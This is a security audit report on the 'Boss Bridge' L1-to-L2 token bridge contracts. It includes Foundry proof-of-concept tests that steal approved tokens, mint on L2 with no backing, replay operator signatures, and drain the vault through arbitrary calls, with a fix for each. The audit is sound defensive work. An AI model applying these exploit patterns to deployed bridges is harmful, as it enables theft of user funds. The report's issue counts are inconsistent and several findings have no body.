Boss Bridge Audit Report

Prepared by:

- MOHAMED IBRAHIIM

Table of contents

See table

    * [H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited
    * [H-8] `TokenFactory::deployToken` locks tokens forever
  - Medium
    * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    * [L-1] Lack of event emission during withdrawals and sending tokesn to L1
    * [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`
    * [L-3] Unsupported opcode PUSH0

Risk Classification

Likelihood/Impact	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
|-- src
|   |-- L1BossBridge.sol
|   |-- L1Token.sol
|   |-- L1Vault.sol
|   |-- TokenFactory.sol
```

Protocol Summary

The **Boss Bridge** is a mechanism designed to transfer the ERC20 token, referred to as the **Boss Bridge Token** (BBT), from **Layer 1 (L1)** to a **Layer 2 (L2)** network that is still under development. Since the L2 component is not yet complete, it was not included in the reviewed codebase.

How the Bridge Works

- **Deposits**: Users can deposit BBT tokens, which are stored in a vault contract on L1. When a deposit is made, an event is triggered, and an off-chain system detects this event to mint the corresponding tokens on the L2 side.
- **Withdrawals**: The withdrawal process relies on **approved operators**, also known as **"signers"**. These off-chain services are responsible for verifying user withdrawal requests and signing the necessary data to allow token withdrawals.

> **Note**: There is little-to-no on-chain mechanism for verifying withdrawals. The system heavily depends on the availability and trustworthiness of the operators to approve requests. If an operator is compromised or a signing key is leaked, the security of the entire protocol could be at risk.

Security Considerations

The **Boss Bridge**'s security model depends on the integrity of the operators. A rogue operator or a compromised signing key could potentially undermine the entire protocol, as the withdrawal process lacks on-chain validation and relies almost entirely on off-chain operator signatures.

Roles

Role	Description	Risks
Bridge Owner	The entity responsible for managing the bridge, including pausing/unpausing withdrawals and adding/removing operators within the `L1BossBridge` contract.	If the owner's key is compromised or if they act maliciously, the entire bridge and its funds are at risk.

Role	Description	Risks
User	An account that holds Boss Bridge Tokens (BBT) and interacts with the `L1BossBridge` contract to deposit or withdraw tokens.	Users rely on the bridge to transfer BBT tokens but do not have direct control over withdrawal operations.
Operator	Accounts approved by the bridge owner to sign withdrawal requests. Operators are responsible for verifying and approving withdrawals.	If an operator's key is compromised or if they act maliciously, it can jeopardize the security of the bridge and its funds.

Executive Summary

Issues found

Severity Level	Number of Issues Found
High	4
Medium	1
Low	1
Info	0
Gas	0
Total	6

Findings

Severity findings summary

Severity	Title	Description
HIGH	Users who give tokens approvals to `L1BossBridge` may have those assets stolen	The `depositTokensToL2` function allows any user to call it with a `from` address of any account that has approved tokens, allowing attackers to steal tokens from users' approved allowances.
HIGH	Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting	An attacker can call `depositTokensToL2` from the Vault contract to the Vault contract itself, triggering unbacked token minting. This allows the attacker to mint tokens indefinitely and assign them to themselves.
HIGH	Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed	The `withdrawTokensToL1` function lacks replay protection mechanisms, meaning a signed withdrawal request could be reused multiple times, allowing attackers to withdraw tokens repeatedly until the vault is drained.
HIGH	`L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance	The `sendToL1` function allows arbitrary calls, enabling an attacker to call `L1Vault::approveTo` and set an attacker-controlled address with unlimited allowance, allowing them to drain the vault.
HIGH	`CREATE` opcode does not work on zksync era	The `CREATE` opcode fails to work on the zksync era, which could lead to deployment issues on that network.

Severity	Title	Description
HIGH	`L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd	The `DEPOSIT_LIMIT` check in `depositTokensToL2` can be exploited to cause a denial of service (DoS) by preventing further deposits, which can impact the bridge's functionality.
HIGH	`L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount	The `withdrawTokensToL1` function lacks validation to ensure that the withdrawal amount matches the deposited amount, allowing an attacker to withdraw more funds than originally deposited.
HIGH	`TokenFactory::deployToken` locks tokens forever	The `deployToken` function in the `TokenFactory` contract locks tokens permanently, preventing them from being used or transferred, which is a severe limitation in token management.
MEDIUM	Withdrawals are prone to unbounded gas consumption due to return bombs	The L1 part of the bridge can execute arbitrary low-level calls that could be used by malicious contracts to drop "return bombs," causing excessive gas consumption due to large returndata. This can lead to failed transactions or excessive costs if not handled correctly.
LOW	Lack of event emission during withdrawals and sending tokens to L1	The `sendToL1` and `withdrawTokensToL1` functions do not emit events on successful withdrawals, making it difficult to track withdrawals off-chain for monitoring and alerting purposes.

Severity	Title	Description
LOW	`TokenFactory::deployToken` can create multiple tokens with the same symbol	The `deployToken` function in the `TokenFactory` contract does not enforce uniqueness on token symbols, potentially allowing multiple tokens with the same symbol, which can lead to confusion and token management issues.
LOW	Unsupported opcode PUSH0	The `PUSH0` opcode is not supported, which may cause issues during contract execution or deployment on some Ethereum-compatible networks.
[INFORMATIONAL]	Insufficient test coverage	Test coverage for the bridge contracts is insufficient, particularly for certain functions like the `L1Vault.sol` contract, which has no test coverage at all. This makes the contract harder to verify and may lead to undetected bugs or vulnerabilities.

High

[H-1] Unauthorized Token Transfers via `L1BossBridge` Approval Exploit

The `depositTokensToL2` function is vulnerable, allowing malicious actors to transfer tokens from any account that has granted approval to the bridge contract.

The function permits anyone to specify a `from` address with an active token allowance to the bridge. An attacker can exploit this by transferring tokens from a victim's account (if the allowance is greater than zero) to their own address on L2 via the `l2Recipient` parameter.

```
function testUnauthorizedTokenTransfer() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 userTokenBalance = token.balanceOf(user);
    vm.startPrank(attacker);

    vm.expectEmit(true, true, true, true);
    emit Deposit(user, attackerInL2, userTokenBalance);

    tokenBridge.depositTokensToL2(user, attackerInL2, userTokenBalance)
        ;

    assertEq(token.balanceOf(user), 0);
```

```
14      assertEq(token.balanceOf(address(vault)), userTokenBalance);
15
16      vm.stopPrank();
17  }
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
      if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
          revert L1BossBridge__DepositLimitReached();
      }
-     token.transferFrom(from, address(vault), amount);
+     token.transferFrom(msg.sender, address(vault), amount);

      // Our off-chain service picks up this event and mints the
         corresponding tokens on L2
-     emit Deposit(from, l2Recipient, amount);
+     emit Deposit(msg.sender, l2Recipient, amount);
  }
```

[H-2] Infinite Minting of Unbacked Tokens via Vault-to-Vault `depositTokensToL2` Calls

The `depositTokensToL2` function allows the caller to specify the `from` address, which determines the source of the tokens for the transfer.

Since the vault contract grants infinite approval to the bridge (as established in the contract's constructor), an attacker can exploit this by calling `depositTokensToL2` and transferring tokens from the vault back to the vault itself. This creates a scenario where the `Deposit` event can be triggered repeatedly, enabling the minting of unbacked tokens on L2.

Furthermore, the attacker could direct the minted tokens entirely to their own address on L2.

Proof of code

```
function testVaultToVaultInfiniteMinting() public {
    vm.startPrank(attacker);

    uint256 initialVaultBalance = 500 ether;
    deal(address(token), address(vault), initialVaultBalance);

    vm.expectEmit(true, true, true, true);
    emit Deposit(address(vault), address(vault), initialVaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       initialVaultBalance);
```

```
10
11      vm.expectEmit(true, true, true, true);
12      emit Deposit(address(vault), address(vault), initialVaultBalance);
13      tokenBridge.depositTokensToL2(address(vault), address(vault),
            initialVaultBalance);
14
15      vm.stopPrank();
16  }
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1  function testCanReplayWithdrawals() public {
2      // Assume the vault already holds some tokens
3      uint256 vaultInitialBalance = 1000e18;
4      uint256 attackerInitialBalance = 100e18;
5      deal(address(token), address(vault), vaultInitialBalance);
6      deal(address(token), address(attacker), attackerInitialBalance);
7
8      // An attacker deposits tokens to L2
9      vm.startPrank(attacker);
10     token.approve(address(tokenBridge), type(uint256).max);
11     tokenBridge.depositTokensToL2(attacker, attackerInL2,
           attackerInitialBalance);
12
13     // Operator signs withdrawal.
14     (uint8 v, bytes32 r, bytes32 s) =
15         _signMessage(_getTokenWithdrawalMessage(attacker,
               attackerInitialBalance), operator.key);
16
17     // The attacker can reuse the signature and drain the vault.
18     while (token.balanceOf(address(vault)) > 0) {
19         tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
               , v, r, s);
20     }
```

```
21      assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
            + vaultInitialBalance);
22      assertEq(token.balanceOf(address(vault)), 0);
23  }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
1  function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2      uint256 vaultInitialBalance = 1000e18;
3      deal(address(token), address(vault), vaultInitialBalance);
4
5      vm.startPrank(attacker);
6      vm.expectEmit(address(tokenBridge));
7      emit Deposit(address(attacker), address(0), 0);
8      tokenBridge.depositTokensToL2(attacker, address(0), 0);
9
10     bytes memory message = abi.encode(
11         address(vault), // target
12         0, // value
13         abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
               uint256).max)) // data
14     );
15     (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
           key);
16
```

```
17      tokenBridge.sendToL1(v, r, s, message);
18      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
19      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
20  }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

[H-8] `TokenFactory::deployToken` locks tokens forever

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

[L-3] Unsupported opcode PUSH0